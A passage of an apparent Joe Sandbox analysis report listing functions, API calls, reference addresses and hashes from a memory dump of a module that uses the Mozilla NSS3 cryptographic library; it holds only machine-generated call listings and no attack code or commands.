Part of subcall function 6CC56C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC01C6F,00000000,00000004,?,?), ref: 6CC56C3F

PR_GetCurrentThread.NSS3 ref: 6CC6CD54

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

Part of subcall function 6CC57260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC01CCC,00000000,00000000,?,?), ref: 6CC5729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC6CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CC6CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CC6CE2C

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CC6CE40

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

Part of subcall function 6CC6CEE0: PORT_ArenaMark_Util.NSS3(?,6CC6CD93,?), ref: 6CC6CEEE
Part of subcall function 6CC6CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC6CD93,?), ref: 6CC6CEFC
Part of subcall function 6CC6CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC6CD93,?), ref: 6CC6CF0B
Part of subcall function 6CC6CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC6CD93,?), ref: 6CC6CF1D

Part of subcall function 6CC6CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF47
Part of subcall function 6CC6CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF67
Part of subcall function 6CC6CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CC6CD93,?,?,?,?,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF78

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: ec1545d69250ab00f6e2a89ef6d5e46bb74e2ca0b4eb5a473d4f536a0a7d4231
Instruction ID: 5fdb4632db200da02b96099377f74b34debc70679d5396dda148d3a4a9bc7819
Opcode Fuzzy Hash: ec1545d69250ab00f6e2a89ef6d5e46bb74e2ca0b4eb5a473d4f536a0a7d4231
Instruction Fuzzy Hash: CA51B2B6A011009FEB10EF6ADE80BAA77F4AF58348F250524D955E7F40FB31E915CB91

Function 6CC7FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CC7FFE5

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_EnterMonitor.NSS3(?), ref: 6CC80004
PR_EnterMonitor.NSS3(?), ref: 6CC8001B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 9705604cfe0f11eb52d34c6dea919ad3522a7d6faedb8d3507821f5cf784beac
Instruction ID: ed2645f20c878d4777fc92db6776fccc843e920c807a075ebcfe0e0fae9da0ea
Opcode Fuzzy Hash: 9705604cfe0f11eb52d34c6dea919ad3522a7d6faedb8d3507821f5cf784beac
Instruction Fuzzy Hash: 484148753476808FE7308A29DC527EB7AA1EB4132DF10053DD45BCAE90F7B9A94AC742

Function 6CC7FEE0 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC7FF33
NSS_OptionGet.NSS3(00000001,?), ref: 6CC7FF45
PR_SetError.NSS3(FFFFD084,00000000), ref: 6CC7FF6F
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC7FF9B
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC80088
PR_ExitMonitor.NSS3(?), ref: 6CC80180
PR_ExitMonitor.NSS3(?), ref: 6CC80197

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$ExitMonitor$Option
String ID:
API String ID: 1656454950-0
Opcode ID: 870dca22737496289fd805893c316a50d8f5284be9ca33ea6ad92cf06121310b
Instruction ID: ad09061c3e14bc959ec25585857d62fe298c636cd35c22a208b894dd3458023e
Opcode Fuzzy Hash: 870dca22737496289fd805893c316a50d8f5284be9ca33ea6ad92cf06121310b
Instruction Fuzzy Hash: 9F319D71B042559FE720963ADC51BAFB7E8EB8270CF000439E90AD7B40F675AD0987A2

Function 6CC3EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CC3EF38

Part of subcall function 6CC29520: PK11_IsLoggedIn.NSS3(00000000,?,6CC5379E,?,00000001,?), ref: 6CC29542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CC3EF53

Part of subcall function 6CC44C20: TlsGetValue.KERNEL32 ref: 6CC44C4C
Part of subcall function 6CC44C20: EnterCriticalSection.KERNEL32(?), ref: 6CC44C60
Part of subcall function 6CC44C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44CA1
Part of subcall function 6CC44C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC44CBE
Part of subcall function 6CC44C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44CD2
Part of subcall function 6CC44C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44D3A

PR_GetCurrentThread.NSS3 ref: 6CC3EF9E

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

free.MOZGLUE(00000000), ref: 6CC3EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC3F016
free.MOZGLUE(00000000), ref: 6CC3F022

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: b9045d90a4ff171ad9032c4983f1db81a6c94462bcf6bc64e83c02e64e234d04
Instruction ID: 58a348e15b13aa0d38aceb7b7549431dc3d561fc6ae1e8fd784346065fe03871
Opcode Fuzzy Hash: b9045d90a4ff171ad9032c4983f1db81a6c94462bcf6bc64e83c02e64e234d04
Instruction Fuzzy Hash: F8418371E0011AAFDF019FA9EC85BEE7BB9AF48358F044029F918A6350F775C915CBA1

Function 6CC2CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CC2CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CC2D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CC2D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2D025
PR_NewLock.NSS3 ref: 6CC2D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC2D074

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 9b05c72dbc1844e5ff5f24bca9b1e0eb5339b1654b6bcc1152c83f4c7f6dc917
Instruction ID: a4cfa91facb6b428bc6e3364537a967aafb33f2f86477001c99a8e60517d2a77
Opcode Fuzzy Hash: 9b05c72dbc1844e5ff5f24bca9b1e0eb5339b1654b6bcc1152c83f4c7f6dc917
Instruction Fuzzy Hash: E841C5B0A013118FEB50DF29C88479ABBE4EF18318F114169DC198FB56F778D486CB91

Function 6CC73FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC73FF2

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CC74001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CC7400F

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CC74054

Part of subcall function 6CC0BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CC0BC24
Part of subcall function 6CC0BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC0BC39
Part of subcall function 6CC0BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CC0BC58
Part of subcall function 6CC0BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CC0BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC74070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CC740CD

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 24629bf2c89b0c7064c6f316adec58f5b01d85889fe62e3b910f9a889a46fa98
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: E131F8B2E0034197EB10DF659D85BBB3364EF9170CF144225ED089BB42FB72E95987A2

Function 6CC12E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CC02D1A), ref: 6CC12E7E

Part of subcall function 6CC607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC08298,?,?,?,6CBFFCE5,?), ref: 6CC607BF
Part of subcall function 6CC607B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC607E6
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC6081B
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC60825

PR_Now.NSS3 ref: 6CC12EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CC12EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CC02D1A), ref: 6CC12F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CC02D1A), ref: 6CC12F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC12F81

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6dde221f027549c582b8d7db1e82fd17257ba43d4f672cc4f21e9547fbf687e9
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 723143785091508BE710C617CC68BAFB2A5EF83318F244A79C02997ED0FB31988ADA11

Function 6CC00E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CC00A2C), ref: 6CC00E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CC00A2C), ref: 6CC00E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CC00A2C), ref: 6CC00E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CC00A2C), ref: 6CC00E90
free.MOZGLUE(00000000), ref: 6CC00EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CC00A2C), ref: 6CC00ED9

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: b59d46fb42a1900384d13168a5b9166f683c42624b57abc07c2eb91b5861d6c6
Instruction ID: 051b65f1fb53639b559ff5a72e7b42026ab6cd89db81be0a78c94c0bd4ef7e54
Opcode Fuzzy Hash: b59d46fb42a1900384d13168a5b9166f683c42624b57abc07c2eb91b5861d6c6
Instruction Fuzzy Hash: FE212C72B002845BEB004D669C85B6B76AEEBC1749F1B4035D97873A02FB62C855C2A1

Function 6CC0AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC0AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CC0AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CC0AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CD29500), ref: 6CC0AF23

Part of subcall function 6CC5F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC5F0C8
Part of subcall function 6CC5F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC5F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0AF37

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 4618a2a1361f0517ba6c51057730019f305e095c3dccd49e57b86ef70225c92f
Instruction ID: 577df7da8e444965dc61f2cdceae10cabf5c51706178a7c1243180a2860fdbdf
Opcode Fuzzy Hash: 4618a2a1361f0517ba6c51057730019f305e095c3dccd49e57b86ef70225c92f
Instruction Fuzzy Hash: 742149B2A09200ABEB108F198C41B9A7BE4AFC572CF144319FC249B790F732D55987A7

Function 6CC8EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC8EE85
realloc.MOZGLUE(1D5304BB,?), ref: 6CC8EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CC8EEC5

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

htonl.WSOCK32(?), ref: 6CC8EEE3
htonl.WSOCK32(00000000,?), ref: 6CC8EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CC8EF01

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 00f74d6516f0e62c09e654103b6e9278ee5017711923d91b6689887efb03e25b
Instruction ID: a46c4e19b69927417455fd0ba882915f352a8a5b2e87ab8e06126b18f048d98d
Opcode Fuzzy Hash: 00f74d6516f0e62c09e654103b6e9278ee5017711923d91b6689887efb03e25b
Instruction Fuzzy Hash: CB21D675A012249FDB109F28DC8479B7BA4EF4535CF158129ED099BA51E730EC14C7F2

Function 6CC3EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3EE49

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC3EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CC3EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CC3EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC3EEB3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: b1c622cc3b58481d4bc578768a244f5cfd1c0e2475766593db789ed46a47be4a
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 2521A8BAA002206BEB119E54EC81EAB77A8EF45718F044168FD089B751F771DC1487F1

Function 6CC55ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC55D71), ref: 6CC55F0A
TlsGetValue.KERNEL32 ref: 6CC55F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CC55F2F
PR_Unlock.NSS3(890008E8), ref: 6CC55F55
PR_SetError.NSS3(00000000,00000000), ref: 6CC55F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CC55F7D

Part of subcall function 6CC55220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CC55F82,8B4274C0), ref: 6CC55248
Part of subcall function 6CC55220: EnterCriticalSection.KERNEL32(0F6CD20D,?,6CC55F82,8B4274C0), ref: 6CC5525C
Part of subcall function 6CC55220: PR_SetError.NSS3(00000000,00000000), ref: 6CC5528E
Part of subcall function 6CC55220: PR_Unlock.NSS3(0F6CD1F1), ref: 6CC55299
Part of subcall function 6CC55220: free.MOZGLUE(00000000), ref: 6CC552A9

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: 22de7d86cc06997ecedb242acf923e17c14f88c008a62d8b7a98fe2e1bc0a175
Instruction ID: 8e1b13bc43102a60a8d500e4ce51a89e7ec4f266d757bb697cfdef5928bef48b
Opcode Fuzzy Hash: 22de7d86cc06997ecedb242acf923e17c14f88c008a62d8b7a98fe2e1bc0a175
